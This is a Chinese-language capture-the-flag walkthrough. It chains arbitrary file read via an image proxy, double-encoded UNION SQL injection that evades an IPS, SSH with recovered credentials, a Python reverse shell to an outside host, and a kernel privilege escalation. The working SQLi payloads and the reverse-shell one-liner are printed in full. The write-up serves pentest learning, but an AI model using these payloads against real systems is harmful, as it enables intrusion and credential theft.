访问首页发现一个是填入优惠码的地方,同时还发现一个未加载的图片。
点击图片查看链接,发现是内网地址,估计是系统没把内网地址进行转换。
http://10.66.20.100/image.php?src=https%3A%2f%2f4.bp.blogspot.com%2f-u8Jo4CEKQLk%2fV4OpiaoMJ7I%2fAAAAAAAAAiw%2f8kuCpTOpRWUAdp2p4GpegWdnOwxjwHNYQCLcB%2fs1600%2fphoto.jpg
不过可以通过此判断大概存在任意文件读取。再查看下面的优惠码,随便输入优惠码返回为空,但是输入单引号等会提示被IPS拦截。
那么这里也可能有SQL注入。
先查看上面文件读取是否可以读取到文件
再去读取优惠码页面,里面有个sql语句的拼接。
再去查看config.php。发现数据库的账号密码
再去尝试读取本地系统文件
由于权限原因,是不能直接读取flag文件。尝试查找对应的目录
/proc/sched_debug 配置文件可以看到当前运行的进程并可以获得对应进程的pid。
/proc/pid/cmdline 则可以看到对应pid进程的完整命令行。
在查找内网端口服务的时候,发现80端口并没有开放,也就是内网端口和外部访问端口不一致,应该是做了端口转发出来。也许可以在内网端口上直接来执行SQL注入绕过IPS。遍历端口后发现8080端口是首页地址。
测试双编码的情况下,可以绕过IPS,只是比在外部执行可以看到明显的返回。
查询得知两字段
aaaa%2527union%2520select%25201,2%2523
库名,应该是需要查询fancydb
aaa%2527%2520union%2520select%2520group_concat%2528schema_name%2529%252C2%2520from%2520information_schema.schemata%2523
查表名
aaa%2527%2520union%2520select%2520group_concat%2528table_name%2529%252C2%2520from%2520information_schema.tables%2520where%2520table_schema%253D0x66616e63796462%2523
字段名
aaa%2527%2520union%2520select%2520group_concat%2528column_name%2529%252C2%2520from%2520information_schema.columns%2520where%2520table_name%253D%2527users%2527%2523
查询到账号密码andrea:SayNoToPentests
aaaaaa%2527%2520union%2520select%2520group_concat%2528username%252C0x3a%252Cpassword%2529%252C2%2520from%2520users%2523
尝试利用sql注入写文件,不过需要先把物理路径找到,尝试默认的apache路径/var/www/html
,试过发现路径是如下
尝试导出文件失败,想起来用户非root,且不具备secure_file_priv。后来想找登陆和连接入口的时候感觉这个用户名比较眼熟,才想起来用户在passwd文件中出现过。且之前尝试搜索文件的时候尝试查找了用户下面的历史命令文件。
那就直接试试ssh,确实可以登陆但是没有回显
尝试反弹shell,发现是个rbash,不能这么反弹shell
尝试python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
获得反弹shell,同时使用python -c 'import pty; pty.spawn("/bin/bash")'
,获取原生终端
目录下有个suid位文件,不过不能利用,权限不对。
没有历史命令文件等,不可执行sudo,查找内核漏洞,内核还不算高。
开启一个外网服务,下载到服务器,发现可以正常编译不报错。。。执行后获得root权限
找到根目录下的flag文件,是一个可执行文件。执行后提示完成
回过头再去看那个dog文件是啥,发现还是提示Access Denied。难道这玩意就是寻开心的?